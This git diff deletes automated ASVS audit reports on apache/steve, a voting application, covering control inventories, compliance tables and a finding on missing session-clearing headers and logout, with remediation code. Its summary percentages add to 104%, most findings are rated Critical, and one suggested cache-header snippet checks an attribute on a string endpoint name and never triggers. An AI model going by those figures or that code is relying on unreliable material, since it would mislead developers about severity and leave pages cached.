-| PSC-033 | web_input_validation | Vote type validation at creation | assert vtype in vtypes.TYPES enforces allowlist of valid vote types | v3/steve/election.py:199 |
-| PSC-034 | authentication_authorization | OAuth client architecture with delegated authentication | Application acts as OAuth client, delegating all authorization server responsibilities to ASF infrastructure via asfquart.auth framework. Uses server-side session model with asfquart.session.read() for session retrieval, consistent with Authorization Code flow | v3/server/pages.py:29-30, v3/server/pages.py:33, v3/server/pages.py:65-67, v3/server/pages.py:85 |
-| PSC-035 | authentication_authorization | Consistent authentication enforcement with role-based access control | All sensitive endpoints use @asfquart.auth.require() decorator with differentiated privilege levels (R.pmc_member for election creation, R.committer for voting and standard operations) | v3/server/pages.py (multiple lines) |
-| PSC-036 | authentication_authorization | Secure redirect implementation | All redirects use hardcoded paths or DB-constrained identifiers with no user-controllable redirect targets | v3/server/pages.py:various |
-| PSC-037 | authentication_authorization | Read-only session consumption | Session data consumed in read-only manner via asfquart.session.read(), client never attempts to modify OAuth tokens or session state | v3/server/pages.py:basic_info, v3/server/pages.py:89-103 |
-| PSC-038 | authentication_authorization | Application-level authorization checks | Beyond OAuth authentication, application performs additional authorization checks including per-user voting eligibility and election state validation | v3/server/pages.py:vote_on_page |
-| PSC-039 | authentication_authorization | Separation of authentication and identity management | User identity data (LDAP) separated from authentication mechanisms (OAuth), allowing independent management. Uses ldaps:// protocol for secure identity synchronization | v3/steve/persondb.py, v3/server/bin/asf-load-ldap.py:39 |
-| PSC-040 | authentication_authorization | Schema-enforced data integrity | Election and issue IDs constrained by CHECK constraints to prevent format violations and injection vulnerabilities in redirect paths. Database contains no OAuth token tables, confirming external token management | v3/schema.sql |
-| PSC-041 | authentication_authorization | Vote token isolation | Vote anonymization tokens are generated server-side via cryptographic functions (crypto.create_id()), stored separately from authentication tokens, and never exposed as bearer credentials. Election/issue IDs use cryptographic randomness to prevent prediction and enumeration attacks | v3/steve/election.py, v3/schema.sql |
-| PSC-042 | authentication_authorization | No OAuth authorization server endpoints exposed | Application exposes no OAuth Authorization Server endpoints (/token, /authorize, /revoke, /.well-known/openid-configuration), reducing attack surface and confirming OAuth client-only role | v3/server/pages.py |
-| PSC-043 | authentication_authorization | Clear separation of concerns | Authentication/authorization handled by asfquart, business logic in election.py, identity sync in asf-load-ldap.py | v3/server/pages.py, v3/steve/election.py, v3/server/bin/asf-load-ldap.py |
-| PSC-044 | tls_transport_security | TLS configuration capability exists with certificate-based authentication | The mechanism for loading TLS certificates and keys is present in the codebase through configuration | v3/server/main.py:83-87, v3/server/config.yaml.example:29-30 |
-| PSC-045 | tls_transport_security | Safe path handling using pathlib prevents path traversal in certificate loading | pathlib.resolve() used for path construction and certificate file handling | v3/server/main.py:26-30, v3/server/main.py:85-86 |
-| PSC-046 | tls_transport_security | OAuth endpoints correctly use HTTPS scheme | OAuth over HTTPS configured with hardcoded https:// URLs | v3/server/main.py:35-38, v3/server/main.py:41-45 |
-| PSC-047 | tls_transport_security | Static folder disabled to reduce attack surface | static_folder=None configuration reduces attack surface | v3/server/main.py:40, v3/server/main.py:49 |
-| PSC-048 | tls_transport_security | Certificate file watching supports rotation without manual restart | Certificate rotation monitoring implemented | v3/server/main.py:88-89 |
-| PSC-049 | tls_transport_security | Example config ships with TLS enabled | Secure default values provided in example configuration | v3/server/config.yaml.example:29-30 |
-| PSC-050 | business_logic_voting | Proper state check via `_all_metadata(required_state)` | Exception-based enforcement mechanism that raises ElectionBadState and is not removable by `-O` flag | v3/steve/election.py:160-177, v3/steve/election.py:286, v3/steve/election.py:305, v3/steve/election.py:363 |
-| PSC-051 | business_logic_voting | Election state derivation from database fields | Derives state from actual column values rather than cached flags | v3/steve/election.py:424-437 |
-| PSC-052 | business_logic_voting | Cryptographic ID generation | Prevents enumeration using crypto.create_id() | v3/steve/election.py:209-214, v3/steve/election.py:453-458 |
-| PSC-053 | business_logic_voting | Integrity loop on ID collision | Handles concurrent ID creation safely with while True / try / IntegrityError pattern | v3/steve/election.py:209-214, v3/steve/election.py:453-458 |
-| PSC-054 | business_logic_voting | Transactional operations for multi-step modifications | Prevents partial state corruption using BEGIN TRANSACTION / COMMIT | v3/steve/election.py:46-64 |
-| PSC-055 | business_logic_voting | Voter eligibility enforcement via `mayvote` table | Database-level eligibility check using q_get_mayvote.first_row(pid, iid) | v3/steve/election.py:291 |
-| PSC-056 | business_logic_voting | Re-voting support via `MAX(vid)` ordering | Latest vote counted, old votes preserved for audit using AUTOINCREMENT vid | v3/schema.sql |
-| PSC-057 | admin_tallying_operations | No HTTP surface area | All tools operate locally via filesystem and direct database access, eliminating the URL/query-string attack surface entirely | v3/server/bin/*.py |
-| PSC-058 | admin_tallying_operations | Sensitive data stays internal | Decryption keys are derived inside election.tally_issue(), never exposed via arguments or URLs | v3/server/bin/tally.py |
-| PSC-059 | admin_tallying_operations | Email body, not URL | mail-voters.py sends voter PII (email, name) in the email message body via asfpy.messaging.mail(), not appended to any URL | v3/server/bin/mail-voters.py |
-| PSC-060 | admin_tallying_operations | YAML file for election config | create-election.py reads sensitive election setup data from a local YAML file rather than passing it as individual command-line arguments | v3/server/bin/create-election.py |
-| PSC-061 | admin_tallying_operations | Tampering detection before data access | tally.py checks election.is_tampered(pdb) before decrypting and outputting any vote data | v3/server/bin/tally.py |
-| PSC-062 | admin_tallying_operations | Structured argument parsing | All scripts use argparse for CLI input handling, providing type safety and validation | v3/server/bin/*.py |
-| PSC-063 | data_minimization_exposure | Explicit field exclusion in get_metadata() | Constructs a new edict with only safe fields, explicitly excluding salt and opened_key with clear documentation: '# NOTE: do not return the SALT or OPENED_KEY' | v3/steve/election.py:145-159 |
-| PSC-064 | data_minimization_exposure | Selective field extraction for issues | Both list_issues() and get_issue() construct new data objects containing only fields needed for display, never returning raw database rows. get_issue() includes comment 'NEVER return issue.salt' | v3/steve/election.py:161-228 |
-| PSC-065 | data_minimization_exposure | Vote data never exposed via HTTP | No web endpoint returns vote_token, ciphertext, or decrypted vote strings. The tally_issue() method exists only for CLI tool use | v3/server/pages.py |
-| PSC-066 | data_minimization_exposure | Mass assignment prevention | Every POST handler extracts specific named fields from form data rather than passing the entire form to model methods. Non-writable fields are sourced from existing database records, not from user input | v3/server/pages.py |
-| PSC-067 | data_minimization_exposure | Boolean reduction in has_voted_upon() | Uses sensitive crypto materials internally but only returns a {iid: True/False} dict, properly minimizing the data returned | v3/steve/election.py:309-334 |
-| PSC-068 | data_minimization_exposure | Error message minimization | Catches exceptions during vote submission, logs full error server-side, but only returns generic flash message to user | v3/server/pages.py |
-| PSC-069 | data_minimization_exposure | Schema-level data typing | STRICT table mode enforces column types, preventing type confusion. CHECK constraints enforce BLOB lengths for cryptographic materials | v3/schema.sql |
-| PSC-070 | dependency_configuration | Static file serving explicitly disabled | Setting static_folder=None in Quart framework completely disables built-in static file handler, preventing access to .git/, .svn/ through application | v3/server/main.py:42 |
-| PSC-071 | dependency_configuration | No catch-all or file-serving routes | Application only imports explicit route modules (pages and api), no catch-all handlers, send_from_directory(), or send_file() usage found | v3/server/main.py:45-46 |
-| PSC-072 | dependency_configuration | Safe path construction with pathlib | All path constructions use pathlib with .resolve() to normalize paths, parent directory anchoring, and no user-controlled components | v3/server/main.py, v3/steve/election.py |
-
----
-
-# 5. ASVS Compliance Summary
-
-| ASVS ID | Title | Status | Supporting Controls | Related Findings |
-|---------|-------|--------|-------------------|------------------|
-| 11.3.1 | Encryption Algorithms - Block Modes and Padding | **Pass** | PSC-001, PSC-002, PSC-003 | - |
-| 11.3.2 | Verify that only approved ciphers and modes such as AES with GCM are used | **Fail** | PSC-001 (partial) | FINDING-001 |
-| 11.4.1 | Hash Function Usage | **Pass** | PSC-005, PSC-008, PSC-014, PSC-015 | - |
-| 1.2.1 | Output Encoding for HTTP Response, HTML Document, or XML Document | **Fail** | PSC-016, PSC-017, PSC-019 | FINDING-002, FINDING-003, FINDING-004, FINDING-005 |
-| 1.2.2 | Injection Prevention - Dynamic URL Building with Untrusted Data | **Fail** | PSC-022, PSC-023, PSC-024 | FINDING-006 |
-| 1.2.3 | JavaScript/JSON Injection Prevention - Output encoding when dynamically building JavaScript content | **Fail** | PSC-016 (partial) | FINDING-004 |
-| 1.2.4 | Injection Prevention - Parameterized Queries and Database Injection Protection | **Pass** | PSC-018 | - |
-| 1.2.5 | OS Command Injection Prevention | **Pass** | PSC-025 | - |
-| 1.3.1 | Encoding and Sanitization - HTML Sanitization for WYSIWYG/Untrusted HTML Input | **Fail** | None | FINDING-003 |
-| 1.3.2 | Avoid eval() or Dynamic Code Execution | **Pass** | PSC-026, PSC-027 | - |
-| 1.5.1 | XML Parser Configuration - XXE Prevention | **Pass** | PSC-028 | - |
-| 2.1.1 | Validation and Business Logic Documentation | **Pass** | PSC-029, PSC-030, PSC-033, PSC-050, PSC-051 | - |
-| 2.2.1 | Input Validation - Business/Functional Expectations | **Fail** | PSC-030, PSC-033 (partial) | FINDING-010 |
-| 2.2.2 | Input Validation - Server-Side Enforcement | **Fail** | PSC-031, PSC-032 (partial) | FINDING-010 |
-| 10.4.1 | OAuth Authorization Server - Redirect URI Validation | **N/A** | PSC-034 (OAuth client only) | - |
-| 10.4.2 | OAuth Authorization Code Single-Use Enforcement | **N/A** | PSC-034 (OAuth client only) | - |
-| 10.4.3 | OAuth Authorization Server - Authorization Code Lifetime | **N/A** | PSC-034 (OAuth client only) | - |
-| 10.4.4 | OAuth Authorization Server Grant Type Restrictions | **N/A** | PSC-034 (OAuth client only) | - |
-| 10.4.5 | Refresh Token Replay Attack Mitigation for Authorization Servers | **N/A** | PSC-034 (OAuth client only) | - |
-| 12.1.1 | General TLS Security Guidance - Secure Communication | **Fail** | PSC-044, PSC-046 (partial) | FINDING-008 |
-| 12.2.1 | HTTPS Communication with External Facing Services | **Fail** | PSC-044, PSC-046, PSC-049 (partial) | FINDING-007 |
-| 12.2.2 | HTTPS Communication with External Facing Services | **Fail** | PSC-044, PSC-046, PSC-049 (partial) | FINDING-007, FINDING-015 |
-| 2.3.1 | Business Logic Sequential Flow Enforcement | **Fail** | PSC-029, PSC-050 (partial) | FINDING-009, FINDING-010 |
-| 14.2.1 | General Data Protection - Sensitive Data in URLs | **N/A** | PSC-041, PSC-057, PSC-058, PSC-059 | - |
-| 14.3.1 | Client-side Data Protection - Clearing authenticated data from client storage after session termination | **Fail** | None | FINDING-011 |
-| 15.3.1 | Defensive Coding - Data Object Field Filtering | **Fail** | PSC-063, PSC-064 (partial) | FINDING-012 |
-| 13.4.1 | Unintended Information Leakage - Source Control Metadata Exposure | **Partial** | PSC-070, PSC-071 | - |
-| 15.1.1 | Secure Coding and Architecture Documentation - Risk-Based Remediation Timeframes for Third-Party Components | **Fail** | None | FINDING-013 |
-| 15.2.1 | Security Architecture and Dependencies - Component Update and Remediation Timeframes | **Fail** | None | FINDING-014 |
-
-**Summary Statistics:**
-- **Pass:** 9 requirements (33%)
-- **Fail:** 13 requirements (48%)
-- **Partial:** 1 requirement (4%)
-- **N/A:** 5 requirements (19%)
-
----
-
-# 6. Cross-Reference Matrix
-
-## 6.1 Finding → ASVS → Control Mapping
-
-| Finding ID | Severity | ASVS Requirements | Mitigating Controls | Gap Type |
-|------------|----------|-------------------|---------------------|----------|
-| FINDING-001 | Critical | 11.3.2 | PSC-001 (partial - uses authenticated encryption but not AEAD) | Type A - Control absent |
-| FINDING-002 | Critical | 1.2.1 | PSC-016, PSC-017 (insufficient coverage) | Type A - Control absent for flash messages |
-| FINDING-003 | Critical | 1.2.1, 1.3.1 | PSC-016, PSC-017, PSC-019 (insufficient coverage) | Type A - Control absent across multiple templates |
-| FINDING-004 | Critical | 1.2.1, 1.2.3 | PSC-016 (insufficient - not applied to JS context) | Type A - Control absent for JS embedding |
-| FINDING-005 | Critical | 1.2.1 | PSC-019 (insufficient - not applied to error templates) | Type A - Control absent for error pages |
-| FINDING-006 | Critical | 1.2.2 | PSC-022, PSC-023, PSC-024 (insufficient - gaps exist) | Type A - Control absent for href attributes |
-| FINDING-007 | Critical | 12.2.1, 12.2.2 | PSC-044, PSC-046, PSC-049 (capability exists but not enforced) | Type A - Control absent (no enforcement) |
-| FINDING-008 | Critical | 12.1.1 | PSC-044 (partial - TLS possible but no version control) | Type A - Control absent |
-| FINDING-009 | Critical | 2.3.1 | PSC-029, PSC-050 (control exists but bypassable) | Type B - Control removable |
-| FINDING-010 | Critical | 2.3.1, 2.2.1, 2.2.2 | PSC-030, PSC-033 (partial - validation exists for other inputs) | Type A - Control entirely absent |
-| FINDING-011 | Critical | 14.3.1 | None | Type A - Control entirely absent |
-| FINDING-012 | Critical | 15.3.1 | PSC-063, PSC-064 (partial - inconsistent application) | Type A - Control absent for list methods |
-| FINDING-013 | Critical | 15.1.1 | None | Type A - Control entirely absent |
-| FINDING-014 | Critical | 15.2.1 | None | Type A - Control entirely absent |
-| FINDING-015 | High | 12.2.2 | PSC-044 (partial - certificate loading exists but no validation) | Type A - Control absent |
-
-## 6.2 ASVS → Finding → Control Traceability
-
-| ASVS ID | Status | Related Findings | Supporting Controls | Control Effectiveness |
-|---------|--------|------------------|---------------------|----------------------|
-| 11.3.1 | Pass | - | PSC-001, PSC-002, PSC-003 | Full |
-| 11.3.2 | Fail | FINDING-001 | PSC-001 (partial) | Partial - uses authenticated encryption but not AEAD mode |
-| 11.4.1 | Pass | - | PSC-005, PSC-008, PSC-014, PSC-015 | Full |
-| 1.2.1 | Fail | FINDING-002, FINDING-003, FINDING-004, FINDING-005 | PSC-016, PSC-017, PSC-019 | Partial - gaps in flash messages, templates, JS context, error pages |
-| 1.2.2 | Fail | FINDING-006 | PSC-022, PSC-023, PSC-024 | Partial - href attribute encoding missing |
-| 1.2.3 | Fail | FINDING-004 | PSC-016 (partial) | Partial - onclick handlers covered but not JS embedding |
-| 1.2.4 | Pass | - | PSC-018 | Full - 100% parameterized queries |
-| 1.2.5 | Pass | - | PSC-025 | Full - zero OS command execution surface |
-| 1.3.1 | Fail | FINDING-003 | None | None - no HTML sanitization library |
-| 1.3.2 | Pass | - | PSC-026, PSC-027 | Full |
-| 1.5.1 | Pass | - | PSC-028 | Full - no XML parsers |
-| 2.1.1 | Pass | - | PSC-029, PSC-030, PSC-033, PSC-050, PSC-051 | Full |
-| 2.2.1 | Fail | FINDING-010 | PSC-030, PSC-033 (partial) | Partial - vote content validation missing |
-| 2.2.2 | Fail | FINDING-010 | PSC-031, PSC-032 (partial) | Partial - vote content validation missing |
-| 10.4.1-10.4.5 | N/A | - | PSC-034 | N/A - OAuth client only |
-| 12.1.1 | Fail | FINDING-008 | PSC-044, PSC-046 (partial) | Partial - TLS capable but no protocol version enforcement |
-| 12.2.1 | Fail | FINDING-007 | PSC-044, PSC-046, PSC-049 (partial) | Partial - TLS optional, not mandatory |
-| 12.2.2 | Fail | FINDING-007, FINDING-015 | PSC-044, PSC-046, PSC-049 (partial) | Partial - no certificate validation |
-| 2.3.1 | Fail | FINDING-009, FINDING-010 | PSC-029, PSC-050 (partial) | Partial - assert-based controls removable, vote validation absent |
-| 14.2.1 | N/A | - | PSC-041, PSC-057, PSC-058, PSC-059 | Full - no sensitive data in URLs |
-| 14.3.1 | Fail | FINDING-011 | None | None |
-| 15.3.1 | Fail | FINDING-012 | PSC-063, PSC-064 (partial) | Partial - inconsistent field filtering |
-| 13.4.1 | Partial | - | PSC-070, PSC-071 | Partial - application prevents but proxy/web server configuration unknown |
-| 15.1.1 | Fail | FINDING-013 | None | None |
-| 15.2.1 | Fail | FINDING-014 | None | None |
-
-## 6.3 Control Domain Coverage Analysis
-
-| Domain | Total Controls | Critical Gaps | ASVS Coverage |
-|--------|---------------|---------------|---------------|
-| vote_encryption_storage | 15 controls | 1 (AEAD cipher) | 2/3 crypto requirements passed |
-| web_input_validation | 18 controls | 4 (XSS, URL encoding) | 4/8 injection requirements passed |
-| authentication_authorization | 11 controls | 0 | 5/5 OAuth requirements N/A (client-only) |
-| tls_transport_security | 8 controls | 3 (enforcement, protocol version, validation) | 0/3 TLS requirements passed |
-| business_logic_voting | 7 controls | 2 (assert bypass, vote validation) | 0/3 business logic requirements passed |
-| admin_tallying_operations | 6 controls | 0 | N/A (no HTTP surface) |
-| data_minimization_exposure | 7 controls | 2 (client storage, field filtering) | 1/2 data protection requirements passed |
-| dependency_configuration | 3 controls | 2 (SBOM, remediation process) | 0/3 dependency requirements passed |
-
-## 6.4 Risk Priority Matrix
-
-| Risk Level | Finding Count | ASVS Requirements Affected | Control Gaps |
-|------------|---------------|---------------------------|--------------|
-| Critical | 14 | 13 unique requirements | 11 Type A gaps, 1 Type B gap |
-| High | 1 | 1 requirement | 1 Type A gap |
-| Medium | 0 | - | - |
-| Low | 0 | - | - |
-
-**Key Observations:**
-1. **Cryptography domain** is mostly strong (87% control effectiveness) but has one critical AEAD gap
-2. **Input validation domain** has significant XSS vulnerabilities across multiple attack vectors
-3. **TLS/Transport security** has capability but lacks enforcement and validation
-4. **Business logic** has one bypassable control (assert statements) and one missing control (vote validation)
-5. **Dependency management** is entirely absent (0% control coverage)
-6. **Authentication/authorization** is well-delegated to external OAuth provider (100% of applicable controls present)
-
-## 7. Level Coverage Analysis
-
-
-**Audit scope:** up to L1
-
-| Level | Sections Audited | Findings Found |
-|-------|-----------------|----------------|
-| L1 | 29 | 15 |
-
-**Total consolidated findings: 15**
-
-*End of Consolidated Security Audit Report*
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/data_minimization_exposure/14.3.1.md b/repos/apache/ASVS/reports/steve/d0aa7e9/data_minimization_exposure/14.3.1.md
deleted file mode 100644
index d43d331..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/data_minimization_exposure/14.3.1.md
+++ /dev/null
@@ -1,326 +0,0 @@
-# ASVS 14.3.1 Security Audit Report
-
-## Executive Summary
-
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 14.3.1 — Verify that authenticated data is cleared from client storage, such as the browser DOM, after the client or session is terminated. The 'Clear-Site-Data' HTTP response header field may be able to help with this but the client-side should also be able to clear up if the server connection is not available when the session is terminated. (Level 1, Client-side Data Protection)
-- **Files analyzed:** 4 relevant out of 4 total, 0 skipped
-
-### Finding Counts
-
-| Severity | Count |
-|----------|-------|
-| Critical | 1 |
-| High | 0 |
-| Medium | 0 |
-| Low | 0 |
-| **Total** | **1** |
-
----
-
-## Security Controls Inventory
-
-| Control Area | Status | Location | Coverage |
-|--------------|--------|----------|----------|
-| `Clear-Site-Data` HTTP header | **ABSENT** | Not found in codebase | 0% of endpoints |
-| Logout endpoint / session termination | **ABSENT** | Not found in any route definition | 0% |
-| `Cache-Control` headers on authenticated pages | **ABSENT** | Not found in codebase | 0% of 12+ authenticated pages |
-| Client-side cleanup JavaScript | **ABSENT** | No JS files provided; no inline cleanup logic | 0% |
-| Session read (data sourced to client) | Present | `pages.py:basic_info()` lines 72–103 | All authenticated routes |
-| Authentication decorator | Present | `@asfquart.auth.require(...)` | Most routes |
-
----
-
-## Critical File Review
-
-| File | Authenticated Endpoints | Sensitive Data in Response | Clear-Site-Data | Cache-Control |
-|------|------------------------|---------------------------|-----------------|---------------|
-| `pages.py` | 12+ routes | uid, name, email, election details, vote status | ❌ None | ❌ None |
-| `api.py` | 0 (stub) | N/A | ❌ None | ❌ None |
-
----
-
-## Findings
-
-### Critical Severity
-
-#### ASVS-1431-SEV-001: Complete Absence of Authenticated Data Clearing from Client Storage
-
-**Severity:** CRITICAL
-**Gap Type:** Type A — No control exists for clearing authenticated data from client storage upon session termination
-**ASVS Requirement:** 14.3.1 (Level 1)
-
-##### Location
-
-- **File:** `v3/server/pages.py`
-- **Functions:** `basic_info()` (lines 72–103), all authenticated route handlers
-- **Affected Routes:** 12+ authenticated endpoints
-
-##### Related Functions Checked
-
-- `basic_info()` — lines 85–95
-- `voter_page()` — line 148
-- `vote_on_page()` — line 186
-- `profile_page()` — line 528
-- All authenticated route handlers in `pages.py`
-
-##### Description
-
-The application completely lacks mechanisms to clear authenticated data from client storage upon session termination. Specifically:
-
-1. **No `Clear-Site-Data` header** is sent on any response
-2. **No logout endpoint exists** to trigger session termination and cleanup
-3. **No `Cache-Control` headers** prevent browser caching of authenticated pages
-4. **No client-side JavaScript** implements cleanup when sessions end or server is unreachable
-
-This is a complete absence of the ASVS 14.3.1 Level 1 requirement, which is mandatory for all applications.
-
-##### Vulnerable Code
-
-**Session data sourced to every authenticated template response (`pages.py`, lines 85–95):**
-
-```python
-async def basic_info():
- # ...
- s = await asfquart.session.read()
- if s:
- basic.update(
- uid=s['uid'],
- name=s['fullname'],
- email=s['email'],
- )
- # ...
- return basic
-```
-
-**All 12+ authenticated routes call `basic_info()` and render voter identity into HTML without any cache-control or cleanup mechanism:**
-
-```python
-# Example: /voter (line 148) — lists elections user may vote in, exposing participation
-@APP.get('/voter')
-@asfquart.auth.require({R.committer})
-@APP.use_template(TEMPLATES / 'voter.ezt')
-async def voter_page():
- result = await basic_info() # uid, name, email injected into template
- # ...
- result.open_elections = [postprocess_election(e) for e in election]
- return result
-
-# Example: /vote-on/<eid> (line 186) — voting interface with voter identity
-@APP.get('/vote-on/<eid>')
-@asfquart.auth.require({R.committer})
-@load_election
-@APP.use_template(TEMPLATES / 'vote-on.ezt')
-async def vote_on_page(election):
- result = await basic_info() # uid, name, email injected
- # ... issue details, candidates, vote status all rendered
- return result
-
-# Example: /profile (line 528) — user profile data
-@APP.get('/profile')
-@asfquart.auth.require
-@APP.use_template(TEMPLATES / 'profile.ezt')
-async def profile_page():
- result = await basic_info() # uid, name, email injected
- return result
-```
-
-**No logout endpoint exists anywhere in the codebase.** A complete search of all route definitions in `pages.py` confirms there is no `/logout`, `/do-logout`, or any session-termination route.
-
-**No `after_request` handler or middleware sets `Clear-Site-Data` or `Cache-Control` headers.**
-
-##### Data Flow
-
-```
-Source: asfquart.session.read() → s['uid'], s['fullname'], s['email']
- ↓
-Processing: basic_info() assembles into template context (every authenticated route)
- ↓
-Sink: EZT template renders HTML response containing voter identity
- ↓
-Client: Browser caches HTML, stores session cookie, may store in DOM/history
- ↓
-Missing Control: No Clear-Site-Data header on any response
-Missing Control: No Cache-Control: no-store on authenticated responses
-Missing Control: No logout endpoint to trigger cleanup
-Missing Control: No client-side JavaScript cleanup on session end
-```
-
-##### Affected Entry Points (All Authenticated Routes)
-
-| Route | Method | Sensitive Data Rendered |
-|-------|--------|------------------------|
-| `/voter` | GET | Voter uid/name, election participation list |
-| `/vote-on/<eid>` | GET | Voter identity, election issues, candidates, vote status |
-| `/admin` | GET | Voter uid/name, owned elections |
-| `/manage/<eid>` | GET | Election details, issue list |
-| `/manage-stv/<eid>/<iid>` | GET | STV issue details, candidates |
-| `/profile` | GET | User profile (uid, name, email) |
-| `/settings` | GET | User settings |
-| `/do-vote/<eid>` | POST | Flash: "Votes submitted successfully!" (confirms participation) |
-| `/do-create-election` | POST | Flash confirms election creation |
-| `/do-open/<eid>` | GET | Flash confirms election opened |
-| `/do-close/<eid>` | GET | Flash confirms election closed |
-| `/do-add-issue/<eid>` | POST | Flash confirms issue added |
-| `/docs/<iid>/<docname>` | GET | Election documents (access implies voter eligibility) |
-
-##### Proof of Concept
-
-1. Authenticated voter accesses `/vote-on/a1b2c3d4e5` on a shared workstation
-2. Browser caches the response containing the voter's name, uid, election issues, and candidate list
-3. Session expires or user closes the browser tab (no logout endpoint available)
-4. Next user on the same workstation presses Back button or inspects browser cache/history
-5. Cached HTML reveals: voter identity (uid, full name, email), which elections they were eligible for, and that they accessed the voting page (confirming participation)
-
-**No mechanism exists to prevent or mitigate this scenario:**
-- No `Clear-Site-Data: "cache", "cookies", "storage"` header is sent on any response
-- No `Cache-Control: no-store` header prevents browser caching of authenticated pages
-- No logout endpoint exists to trigger session termination and cleanup
-- No client-side JavaScript clears DOM/storage when the session ends
-
-##### Impact
-
-In the context of a **voting system** handling **voter identities**:
-
-1. **Voter privacy violation**: Browser cache on shared computers exposes who voted and in which elections
-2. **Session persistence**: Without logout, session cookies remain active until server-side expiration, enabling session reuse
-3. **Cached vote confirmation**: Flash messages confirming vote submission persist in browser cache, proving a voter's participation
-4. **Election administration exposure**: Management pages cached with election configuration details
-
-##### Remediation
-
-**1. Add `Clear-Site-Data` header on logout response:**
-
-```python
-@APP.get('/logout')
-async def logout():
- # Invalidate server-side session
- await asfquart.session.destroy()
-
- response = quart.redirect('/', code=303)
- # Instruct browser to clear all site data
- response.headers['Clear-Site-Data'] = '"cache", "cookies", "storage"'
- return response
-```
-
-**2. Add `Cache-Control` and security headers to all authenticated responses via `after_request`:**
-
-```python
-@APP.after_request
-async def set_security_headers(response):
- # For authenticated pages, prevent caching of sensitive data
- if quart.request.endpoint and getattr(
- quart.request.endpoint, '_requires_auth', False
- ):
- response.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate, max-age=0'
- response.headers['Pragma'] = 'no-cache'
- response.headers['Expires'] = '0'
- return response
-```
-
-**Simpler alternative — apply globally since most routes are authenticated:**
-
-```python
-@APP.after_request
-async def set_cache_headers(response):
- # Voting system: default to no caching; whitelist static assets
- if not quart.request.path.startswith(('/static/', '/favicon.ico')):
- response.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate, max-age=0'
- response.headers['Pragma'] = 'no-cache'
- response.headers['Expires'] = '0'
- return response
-```
-
-**3. Add client-side cleanup as fallback (in base template):**
-
-```javascript
-// Detect session expiration client-side and clean up
-window.addEventListener('beforeunload', function() {
- // Clear any sensitive data from sessionStorage
- sessionStorage.clear();
-});
-
-// Periodic session check — clear DOM if session is gone
-setInterval(async function() {
- try {
- const resp = await fetch('/api/session-check', { credentials: 'same-origin' });
- if (resp.status === 401) {
- // Session expired — clear sensitive DOM content
- document.querySelectorAll('[data-sensitive]').forEach(el => el.textContent = '');
- sessionStorage.clear();
- localStorage.clear();
- window.location.href = '/';
- }
- } catch(e) {
- // Server unreachable — clear sensitive data as precaution
- document.querySelectorAll('[data-sensitive]').forEach(el => el.textContent = '');
- sessionStorage.clear();
- }
-}, 60000);
-```
-
----
-
-## Positive Security Patterns
-
-| Pattern | Location | Assessment |
-|---------|----------|------------|
-| Authentication required on sensitive routes | `pages.py` — all vote/manage routes | Correctly applied via `@asfquart.auth.require` |
-| Session-based user identification | `pages.py:basic_info()` | Properly reads authenticated session |
-| Voter eligibility check before showing vote page | `pages.py:vote_on_page()` line 214 | Verifies `mayvote` entries before rendering |
-| Sensitive metadata excluded from public responses | `election.py:get_metadata()` line 163 | Salt and opened_key deliberately excluded |
-| Sensitive data excluded from issue responses | `election.py:get_issue()` line 164 | Comment: "NEVER return issue.salt" |
-
----
-
-## Architecture Observations
-
-1. **No HTTP response middleware**: The application has no `after_request` handler or middleware layer for setting security headers. This means each response is sent with framework defaults, which do not include `Cache-Control: no-store` or `Clear-Site-Data`.
-
-2. **Session management delegated to framework**: `asfquart.session` handles session reads, but no session destruction or logout mechanism is exposed in the application layer. The framework may provide this, but the application does not invoke it.
-
-3. **Template-rendered sensitive data**: The EZT template system renders voter identity (uid, name, email) and election participation data directly into HTML responses. Without cache-control headers, browsers are free to cache these pages per their default behavior.
-
-4. **Flash messages contain confirmation of sensitive actions**: Vote submission confirmation ("Votes submitted successfully!") stored in session and rendered in subsequent responses can reveal voter participation through browser history/cache.
-
----
-
-## Recommendations Summary
-
-### Immediate (P0)
-
-1. **Implement `Cache-Control: no-store` on all authenticated responses** via `after_request` middleware
- - **Effort:** Low
- - **Impact:** Prevents browser caching of voter identity and election data
-
-2. **Create a logout endpoint** that destroys the session and sends `Clear-Site-Data` header
- - **Effort:** Low
- - **Impact:** Enables users to terminate sessions and clear client-side data
-
-### Short-term (P1)
-
-3. **Add client-side session-check with DOM cleanup** as fallback for server-unreachable scenarios
- - **Effort:** Medium
- - **Impact:** Satisfies ASVS 14.3.1 requirement for client-side cleanup
-
-### Long-term (P2)
-
-4. **Mark sensitive DOM elements with `data-sensitive` attribute** in templates for targeted cleanup
- - **Effort:** Medium
- - **Impact:** Enables precise client-side data clearing
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand file list (4 files)</summary>
-
-- `v3/schema.sql` (relevance: 10)
-- `v3/server/api.py` (relevance: 10)
-- `v3/server/pages.py` (relevance: 10)
-- `v3/steve/election.py` (relevance: 10)
-
-</details>
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/data_minimization_exposure/15.3.1.md b/repos/apache/ASVS/reports/steve/d0aa7e9/data_minimization_exposure/15.3.1.md
deleted file mode 100644
index 6512f7e..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/data_minimization_exposure/15.3.1.md
+++ /dev/null
@@ -1,349 +0,0 @@
-# ASVS 15.3.1 Security Audit Report
-
-## Executive Summary
-
-**Repository:** apache/steve
-**Audit Date:** Apr 21, 2026
-**Auditor:** Tooling Agents
-**ASVS Requirement:** 15.3.1 — Verify that the application only returns the required subset of fields from a data object. For example, it should not return an entire data object, as some individual fields should not be accessible to users.
-
-**Level:** 1
-**Section:** Defensive Coding
-**Chapter:** Secure Coding and Architecture
-
-**Files Analyzed:** 4 relevant out of 4 total, 0 skipped
-
-### Finding Counts
-
-| Severity | Count |
-|----------|-------|
-| Critical | 1 |
-| High | 0 |
-| Medium | 0 |
-| Low | 0 |
-| **Total** | **1** |
-
----
-
-## Security Controls Inventory
-
-| Control | Location | Purpose | Applied Consistently? |
-|---------|----------|---------|----------------------|
-| Explicit field construction (election) | `election.py:get_metadata()` L145-159 | Excludes `salt` and `opened_key` from returned election objects | **NO** — Not applied in `open_to_pid()`, `upcoming_to_pid()`, `owned_elections()` |
